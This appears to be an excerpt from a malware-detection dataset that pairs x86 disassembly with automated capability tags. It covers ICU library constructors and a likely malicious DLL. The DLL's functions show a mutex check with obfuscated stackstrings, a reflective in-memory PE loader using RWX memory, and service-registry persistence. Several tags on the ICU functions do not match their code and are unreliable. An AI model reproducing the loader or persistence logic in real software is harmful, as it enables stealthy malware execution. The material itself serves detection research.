joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a86e5f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a89a720
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x4a8fdee0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x38], esi
mov dword [esi + 4], vtable.icu_51::UnicodeMatcher.0
mov dword [esi], vtable.icu_51::UnicodeSet.0
mov dword [esi + 4], vtable.icu_51::UnicodeSet.1.0
mov dword [esi + 8], 0
mov eax, dword [edi + 8]
add eax, 0x10
mov dword [esi + 0xc], eax
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 4], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [esi + 0x30], 0
mov dword [ebp - 0x34], 0
call sym.icuuc51.dll_kallocateStrings_UnicodeSet_icu_51__AAECAAW4UErrorCode___Z
cmp dword [ebp - 0x34], 0
jg 0x4a86e726
mov eax, dword [esi + 0xc]
shl eax, 2
push eax
call sym.icuuc51.dll_kprv_malloc_51
mov ecx, eax
add esp, 4
mov dword [esi + 0x10], ecx
test ecx, ecx
je 0x4a86e71b
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
shl eax, 2
push eax
push dword [edi + 0x10]
push ecx
call fcn.4a897a10
mov ecx, dword [esi + 0x28]
add esp, 0xc
test ecx, ecx
je 0x4a86e71b
mov eax, dword [edi + 0x28]
test eax, eax
je 0x4a86e71b
lea edx, [ebp - 0x34]
push edx
push 0x4a86fc10
push eax
call sym.icuuc51.dll_kassign_UVector_icu_51__QAEXABV12_P6AXPATUElement__1_ZAAW4UErrorCode___Z
mov eax, dword [edi + 0x24]
test eax, eax
je 0x4a86e726
push dword [edi + 0x20]
lea ecx, [ebp - 0x30]
push eax
call sym.icuuc51.dll_k_0UnicodeString_icu_51__QAE_PB_WH_Z
push eax
mov ecx, esi
mov byte [ebp - 4], 1
call sym.icuuc51.dll_ksetPattern_UnicodeSet_icu_51__AAEXABVUnicodeString_2__Z
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0
call sym.icuuc51.dll_k_1UnicodeString_icu_51__UAE_XZ
jmp 0x4a86e726
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov byte [esi + 0x30], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.4a897a01
mov esp, ebp
pop ebp
ret 8
Function at 0x4a86e850
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a89a758
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x4a8fdee0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [esi + 4], vtable.icu_51::UnicodeMatcher.0
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 4], 0
mov dword [esi], vtable.icu_51::UnicodeSet.0
mov dword [esi + 4], vtable.icu_51::UnicodeSet.1.0
mov dword [esi + 8], 1
mov dword [esi + 0xc], 0x11
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [esi + 0x30], 0
mov dword [ebp - 0x10], 0
call sym.icuuc51.dll_kallocateStrings_UnicodeSet_icu_51__AAECAAW4UErrorCode___Z
cmp dword [ebp - 0x10], 0
jg 0x4a86e93c
mov eax, dword [esi + 0xc]
shl eax, 2
push eax
call sym.icuuc51.dll_kprv_malloc_51
add esp, 4
mov dword [esi + 0x10], eax
mov ecx, esi
test eax, eax
je 0x4a86e933
push dword [ebp + 0xc]
mov dword [eax], 0x110000
push dword [ebp + 8]
call sym.icuuc51.dll_kcomplement_UnicodeSet_icu_51__UAEAAV12_HH_Z
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi]
call dword [eax + 0x58]
mov byte [esi + 0x30], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x4a86e950
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a89a758
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x4a8fdee0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [esi + 4], vtable.icu_51::UnicodeMatcher.0
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 4], 0
mov dword [esi], vtable.icu_51::UnicodeSet.0
mov dword [esi + 4], vtable.icu_51::UnicodeSet.1.0
mov dword [esi + 8], 1
mov dword [esi + 0xc], 0x11
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [esi + 0x30], 0
mov dword [ebp - 0x10], 0
call sym.icuuc51.dll_kallocateStrings_UnicodeSet_icu_51__AAECAAW4UErrorCode___Z
cmp dword [ebp - 0x10], 0
jg 0x4a86ea2f
mov eax, dword [esi + 0xc]
shl eax, 2
push eax
call sym.icuuc51.dll_kprv_malloc_51
add esp, 4
mov dword [esi + 0x10], eax
test eax, eax
je 0x4a86ea24
mov dword [eax], 0x110000
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov byte [esi + 0x30], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4a870c00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
push esi
mov eax, dword [ebx - 4]
push edi
lea edi, [ebx - 4]
mov ecx, edi
mov dword [ebp - 0xc], ebx
call dword [eax + 0x60]
xor esi, esi
mov dword [ebp - 8], eax
test eax, eax
jle 0x4a870c73
mov edx, dword [edi]
push esi
mov ecx, edi
call dword [edx + 0x64]
mov edx, dword [edi]
push esi
mov ecx, edi
mov ebx, eax
call dword [edx + 0x68]
mov ecx, eax
xor ecx, ebx
mov dword [ebp - 4], eax
test ecx, 0xffffff00
jne 0x4a870c55
movzx edx, byte [ebp + 8]
movzx ecx, bl
cmp ecx, edx
jg 0x4a870c6a
movzx eax, al
cmp edx, eax
jmp 0x4a870c68
movzx ecx, byte [ebp + 8]
movzx eax, bl
cmp eax, ecx
jle 0x4a870cb5
mov eax, dword [ebp - 4]
movzx eax, al
cmp ecx, eax
jle 0x4a870cb5
inc esi
cmp esi, dword [ebp - 8]
jl 0x4a870c22
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebx + 0x24]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4a870caa
xor esi, esi
test ecx, ecx
jle 0x4a870caa
movzx edi, byte [ebp + 8]
push esi
mov ecx, eax
call sym.icuuc51.dll_kelementAt_UVector_icu_51__QBEPAXH_Z
push 0
mov ecx, eax
call sym.icuuc51.dll_kchar32At_UnicodeString_icu_51__QBEHH_Z
and eax, 0xff
cmp eax, edi
je 0x4a870cb5
mov eax, dword [ebx + 0x24]
inc esi
cmp esi, dword [eax + 4]
jl 0x4a870c87
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4a871ca0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a89a968
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a8fdee0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_51::UnicodeMatcher.0
mov edi, dword [ebp + 0x18]
mov dword [esi], vtable.icu_51::UnicodeSet.0
mov dword [esi + 4], vtable.icu_51::UnicodeSet.1.0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x10
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [esi + 0x30], 0
cmp dword [edi], 0
mov dword [ebp - 4], 0
jg 0x4a871d6c
push 0x40
call sym.icuuc51.dll_kprv_malloc_51
add esp, 4
mov dword [esi + 0x10], eax
test eax, eax
jne 0x4a871d50
mov dword [edi], 7
jmp 0x4a871d6c
push edi
mov ecx, esi
call sym.icuuc51.dll_kallocateStrings_UnicodeSet_icu_51__AAECAAW4UErrorCode___Z
push edi
push dword [ebp + 0x14]
mov ecx, esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sym.icuuc51.dll_kapplyPattern_UnicodeSet_icu_51__QAEAAV12_ABVUnicodeString_2_AAVParsePosition_2_IPBVSymbolTable_2_AAW4UErrorCode__
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4a871d90
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a89a968
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a8fdee0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_51::UnicodeMatcher.0
mov edi, dword [ebp + 0x14]
mov dword [esi], vtable.icu_51::UnicodeSet.0
mov dword [esi + 4], vtable.icu_51::UnicodeSet.1.0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x10
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [esi + 0x30], 0
cmp dword [edi], 0
mov dword [ebp - 4], 0
jg 0x4a871e59
push 0x40
call sym.icuuc51.dll_kprv_malloc_51
add esp, 4
mov dword [esi + 0x10], eax
test eax, eax
jne 0x4a871e40
mov dword [edi], 7
jmp 0x4a871e59
push edi
mov ecx, esi
call sym.icuuc51.dll_kallocateStrings_UnicodeSet_icu_51__AAECAAW4UErrorCode___Z
push edi
push dword [ebp + 0x10]
mov ecx, esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call sym.icuuc51.dll_kapplyPattern_UnicodeSet_icu_51__QAEAAV12_ABVUnicodeString_2_IPBVSymbolTable_2_AAW4UErrorCode___Z
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4a872590
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a89a968
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a8fdee0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_51::UnicodeMatcher.0
mov edi, dword [ebp + 0xc]
mov dword [esi], vtable.icu_51::UnicodeSet.0
mov dword [esi + 4], vtable.icu_51::UnicodeSet.1.0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x10
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [esi + 0x30], 0
cmp dword [edi], 0
mov dword [ebp - 4], 0
jg 0x4a872653
push 0x40
call sym.icuuc51.dll_kprv_malloc_51
add esp, 4
mov dword [esi + 0x10], eax
test eax, eax
jne 0x4a872640
mov dword [edi], 7
jmp 0x4a872653
push edi
mov ecx, esi
call sym.icuuc51.dll_kallocateStrings_UnicodeSet_icu_51__AAECAAW4UErrorCode___Z
push edi
push dword [ebp + 8]
mov ecx, esi
call sym.icuuc51.dll_kapplyPattern_UnicodeSet_icu_51__QAEAAV12_ABVUnicodeString_2_AAW4UErrorCode___Z
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10003df0
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 8]
push 0xf0000000
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10003e15
xor al, al
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x94
push 0x10019b90
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x10003e0f
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10003e0f
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x10003e0f
push ebx
push 0
push 0
push dword [ebp - 0xc]
xor bl, bl
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptVerifySignatureW]
test eax, eax
movzx ebx, bl
mov eax, dword [ebp - 4]
mov ecx, 1
cmovne ebx, ecx
test eax, eax
je 0x10003e97
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x10003ea7
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003eb0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x1001b720
mov dword [ebp - 4], edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10003ee5
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push ebx
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x14]
push esi
push 0x40
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
test eax, eax
jne 0x10003f26
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [ebp + 8]
mov eax, esi
mov dword [edi], 0
test eax, eax
jle 0x10003f6c
nop word [eax + eax]
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push esi
push dword [ecx]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 8]
test eax, eax
je 0x10003f69
add dword [edi], eax
sub esi, eax
mov ecx, dword [ebp - 4]
test esi, esi
jg 0x10003f40
mov eax, dword [ebp - 0xc]
cmp dword [edi], eax
pop edi
push ebx
je 0x10003f8b
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push dword [edx]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004160
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 4]
mov dword [ebp - 8], 1
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionNetworkPlatformLocation_Awareness
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100041c3
push 0x380
push dword [ebp + 0xc]
push 3
push eax
push str.LastBackup
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
test eax, eax
je 0x100041c9
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x100049c0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3a0
mov eax, dword [0x10018008]
xor eax, esp
mov dword [esp + 0x39c], eax
movaps xmm0, xmmword [str.F147EC_C7F5_F89]
lea eax, [esp + 0x380]
push esi
push edi
push eax
push 1
push 0
movups xmmword [esp + 0x394], xmm0
mov dword [esp + 0x3a4], 0x394a2d41
mov dword [esp + 0x3a8], 0x44353941
mov word [esp + 0x3ac], 0x7d
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete al
test esi, esi
je 0x10004a43
test al, al
je 0x10004a59
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x39c]
xor ecx, esp
call fcn.1000599e
mov esp, ebp
pop ebp
ret
mov ecx, 0xe0
lea edi, [esp + 8]
mov esi, str.MicrosoftRPCEvent
xor eax, eax
rep movsd dword es:[edi], dword [esi]
nop dword [eax + eax]
mov cl, byte [esp + eax + 0xc8]
lea eax, [eax + 1]
mov byte [eax + 0x1001b71f], cl
test cl, cl
jne 0x10004a70
push ecx
lea eax, [esp + 0xc]
push eax
push ecx
call fcn.10004160
mov ecx, dword [esp + 0x3b0]
add esp, 0xc
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.1000599e
mov esp, ebp
pop ebp
ret

Function at 0x10004cc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
test edi, edi
je 0x10004d2e
cmp dword [0x1001b718], 0
jne 0x10004cef
push 4
call fcn.100059af
add esp, 4
mov dword [0x1001b718], eax
mov dword [eax], 0
mov dword [eax], vtable.PluginProvider.0
push esi
push 4
call fcn.100059af
mov ecx, dword [0x1001b718]
mov esi, eax
push 8
mov dword [esi], ecx
call fcn.100059af
add esp, 8
lea ecx, [ebp - 4]
mov dword [eax + 4], edi
push ecx
push 0
push eax
push 0x10004ca0
push 0
mov dword [eax], esi
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10004d40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov eax, ecx
push edi
push 0x40
push 0x3000
mov esi, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], esi
lea edi, [esi + 4]
add edi, dword [esi + 0x3c]
mov dword [ebp - 8], edi
push dword [edi + 0x4c]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
xor eax, eax
mov dword [ebp - 4], edx
test edx, edx
je 0x10004eee
push ebx
xor ebx, ebx
cmp ax, word [edi + 2]
jae 0x10004dc8
add edi, 0x108
nop dword [eax]
mov ecx, dword [edi - 8]
add ecx, edx
mov edx, dword [edi]
add edx, esi
mov esi, dword [edi - 4]
test esi, esi
je 0x10004db0
mov al, byte [edx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea edx, [edx + 1]
sub esi, 1
jne 0x10004da0
mov eax, dword [ebp - 8]
inc ebx
mov edx, dword [ebp - 4]
add edi, 0x28
mov esi, dword [ebp - 0xc]
movzx eax, word [eax + 2]
cmp ebx, eax
jl 0x10004d90
mov edi, dword [ebp - 8]
cmp dword [edi + 0xa0], 0
je 0x10004e34
mov eax, dword [edi + 0x9c]
mov ecx, edx
sub ecx, dword [edi + 0x30]
add eax, edx
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax]
test ecx, ecx
je 0x10004e34
mov esi, dword [eax + 4]
lea edi, [ecx + edx]
sub esi, 8
lea ebx, [eax + 8]
shr esi, 1
mov ecx, 0
je 0x10004e27
nop dword [eax]
movzx eax, word [ebx + ecx*2]
mov edx, eax
shr eax, 0xc
and edx, 0xfff
cmp eax, 3
je 0x10004e19
cmp eax, 0xa
jne 0x10004e1f
mov eax, dword [ebp - 0xc]
add dword [edx + edi], eax
inc ecx
cmp ecx, esi
jb 0x10004e00
mov edx, dword [ebp - 4]
mov ecx, dword [ebx + esi*2]
lea eax, [ebx + esi*2]
test ecx, ecx
jne 0x10004de7
mov edi, dword [ebp - 8]
cmp dword [edi + 0x80], 0
je 0x10004ec1
mov ebx, dword [edi + 0x7c]
add ebx, edx
mov dword [ebp - 0xc], ebx
cmp dword [ebx], 0
je 0x10004ec1
jmp 0x10004e53
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
add eax, edx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10004eeb
mov esi, dword [ebx]
add esi, dword [ebp - 4]
mov edi, dword [ebx + 0x10]
add edi, dword [ebp - 4]
mov edx, dword [esi]
test edx, edx
je 0x10004eb3
mov ebx, eax
js 0x10004e97
xor ecx, ecx
xor eax, eax
and ecx, 0x80000000
or eax, ecx
jne 0x10004e97
mov eax, dword [ebp - 4]
add eax, 2
add eax, edx
jmp 0x10004e9a
movzx eax, dx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esi, 4
mov dword [edi], eax
add edi, 4
mov edx, dword [esi]
test edx, edx
jne 0x10004e7d
mov ebx, dword [ebp - 0xc]
add ebx, 0x14
mov dword [ebp - 0xc], ebx
cmp dword [ebx], 0
jne 0x10004e50
mov edi, dword [ebp - 8]
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [edi + 0x4c]
mov dword [ebp - 0x10], 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
push dword [eax]
mov eax, dword [edi + 0x24]
push 1
push 0
add eax, ebx
call eax
xor eax, eax
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100053d0
Capabilities:
Create thread

Disassembly:
push esi
call fcn.100049c0
test al, al
je 0x10005429
call fcn.100048c0
test al, al
je 0x10005429
call fcn.10004950
test al, al
je 0x10005429
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10005290
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10005320
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0x3e8
call esi
jmp 0x10005420
xor eax, eax
pop esi
ret

Function at 0x10005490
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x10018008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x1f4
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x1fc], 0
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [ebp - 0x200], 0
call fcn.10008e90
mov eax, 0x1001b830
add esp, 0xc
mov esi, eax
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100054e0
lea edi, [ebp - 0x1f8]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100054f0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x1f8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1000556c
lea eax, [ebp - 0x204]
mov dword [ebp - 0x204], 4
push eax
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x208]
push eax
push 0
push str.Type
push dword [ebp - 0x1fc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x1fc]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0x1fc]
call edi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x200]
xor ecx, ebp
pop edi
pop esi
call fcn.1000599e
mov esp, ebp
pop ebp
ret

Function at 0x10005590
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov eax, dword [0x10018008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1f4
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x1fc], 0
push str.SYSTEMCurrentControlSetServices_
push eax
mov ebx, ecx
call fcn.10008e90
add esp, 0xc
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x100055d0
lea edi, [ebp - 0x1f8]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100055e0
mov ecx, ebx
lea eax, [ebp - 0x1fc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x1f8]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10005645
push 4
lea eax, [ebp - 0x200]
mov dword [ebp - 0x200], 0x120
push eax
push 4
push 0
push str.Type
push dword [ebp - 0x1fc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0x1fc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000599e
mov esp, ebp
pop ebp
ret